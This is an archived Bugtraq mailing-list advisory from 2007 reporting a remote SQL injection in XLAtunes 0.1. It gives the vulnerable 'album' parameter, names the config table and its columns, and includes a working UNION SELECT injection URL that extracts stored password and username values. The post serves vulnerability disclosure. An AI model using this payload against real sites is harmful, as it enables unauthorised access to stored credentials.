XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
From: Guns@xxxxxxxxxxx
Date: Wed, 21 Feb 2007 06:06:32 -0800
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Reply-to: Guns@xxxxxxxxxxx


#Critical Status:High
#Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

Prev by Date: [ MDKSA-2007:046 ] - Updated gnucash packages fix temp file issues.
Next by Date: [USN-424-1] PHP vulnerabilities
Previous by thread: Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
Next by thread: MyCalendar multiple XSS
Index(es):
- Date
- Thread